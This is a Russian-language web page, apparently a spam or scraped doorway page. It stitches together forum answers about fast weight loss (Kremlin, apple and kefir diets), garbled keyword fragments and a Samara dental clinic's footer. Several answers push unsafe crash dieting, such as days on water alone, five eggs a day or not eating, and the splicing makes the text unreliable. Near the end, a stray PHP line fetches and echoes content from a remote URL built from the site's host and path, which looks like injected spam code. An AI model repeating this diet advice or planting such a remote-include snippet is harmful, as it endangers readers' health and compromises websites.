Существует великолепная фруктовая диета, которая рассчитана на шесть дней. Её особенностью является то, что меньше чем за неделю вам необходимо скушать девять килограмм фруктов, причём фрукты для еды вы выбираете сами. Если у вас нет проблем с кислотностью желудка, то выбирайте яблочную диету. Начните первый день с одного килограмма. Далее увеличивайте количество фруктов на пол кг. Третий и четвертый дни по 2 кг, далее пятый – 1.5 кг, шестой – 1 кг. 5-10 кг в минус вам обеспечено.

Устроить разгрузочный день. некоторые врачи советуют вообще каждую неделю голодать 1 день. если сложно, посидеть на яблоках или кефире. и конечно физ нагрузка

Кремл вская диета одна из самых популярных диет. В течение длительного времени рецепт диеты неМороженое эскимо. 20. Варенье яблочное. 66. Повидло диабетическое.

Дварником устроится. Сейчас какраз листья загребать нужно. И хлеб с салом есть будете и худеть при этом!

Не пробовала, но по Кремлевской диете-3 дня по 5 яиц в день. Больше ничего из еды. Похудеете на 3 кг.

Зеленый чай помогает

Заклеить рот скотчем и повесить замок на холодильник!
Быстро худеть-это не выход, также быстро потом и наберете вес. В жидкости себя не стоит ограничивать, иначе будет интоксикация. Можно свести к минимуму потребление жиров, сладостей, мучного, мяса, яиц, высоко каллорийных продуктов. Больше налегайте на овощи (кроме картофеля). Из фруктов исключите сахаристые: бананы например. Но добавьте ананасы, грейфрукты, яблоки. Можно сделать чистку кишечника (потеряете несколько кило и животик уменьшится, будет легче ходить и наклоняться). Постарайтесь побольше ходить пешком (можно не торопясь). Если есть возможность, походите в бассейн (вода хорошо помогает похудеть и потренировать мышцы). Можете посетить эндокринолога. Если есть показания, то он назначит вам препараты для снижения веса и уменьшения аппетита. Удачи вам, не опускайте руки и не мучайте себя жесткими диетами. Свой организм не обманешь!

Сменить род занятий, сказать всем, то что ты о них думаешь . .и ждать результата. Стресс который в ответ получите, будет хорошим жиросжигающим . .

Яблочная диета для похудения разновидности, преимущества, результаты.Кремлевская диета для похудения минимальные усилия, максимальный результат.

Как очень быстро похудеть

Ешь чтобы не падать в обморок, а после 6 совсем не ешь.

Рецепт Творожно-яблочное суфле Яблоко натереть на т рке.Дневник группы Кремлевская диета Этапы Кремлевской диеты.

Попробуй сесть на кефиро-яблочную диету! ! 5-6 кг гарантировано всего за 9 дней! !
Первые 3 дня - 1,5 литра кефира 1%
Вторые 3 дня - 1,5 кг яблок
Третьи 3 дня - 1,5 литра кефира 1%

Минус жареное, мучное, жирное, больше движения!

Если хочется быстро, есть множество экспресс-диет. В интернете поищи.

Не жрать. 3дня на воде.

Много работать и меньше есть

Суть кремлевской диеты в том, что мяса можно есть неограниченное количество, но жестко ограничить потребление56. МЯСО, ПТИЦА. Варенье яблочное. 66. Говядина, телятина.

Первые 4 дня сидеть на свежевыжатых соках, потом перейти на овощную диету

Сам пробовал кремлевскую диету - помогло, попробуй

Как можно похудеть за 25 дней, на 5кг??? Дайте конкретный ответ или даже совет

Боюсь на такое кол-во кг за 25 дней не похудать, ну или вообще ничего не есть и падать в обмороки)

Вред кремлевской диеты. Несмотря на довольно значимые плюсы, кремлевская диета имеет и ряд противопоказаний.Кефирно-яблочная диета.

Ходить в спорт-зал, и есть не калорийные продукты.

Какай регулярно.. не копи

Бодифлекс. Мне помогло.

Жри меньше

Мне помогает ограничение в еде (только обязательно не полное исключение) + очень долгие пешие прогулки (не менее 4 часов в день).

То есть нельзя 2 дня посидеть на Кремлевской диете , потом день на яблочной, а затем снова вернуться обратно.

Кремлевская диета яблочная
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта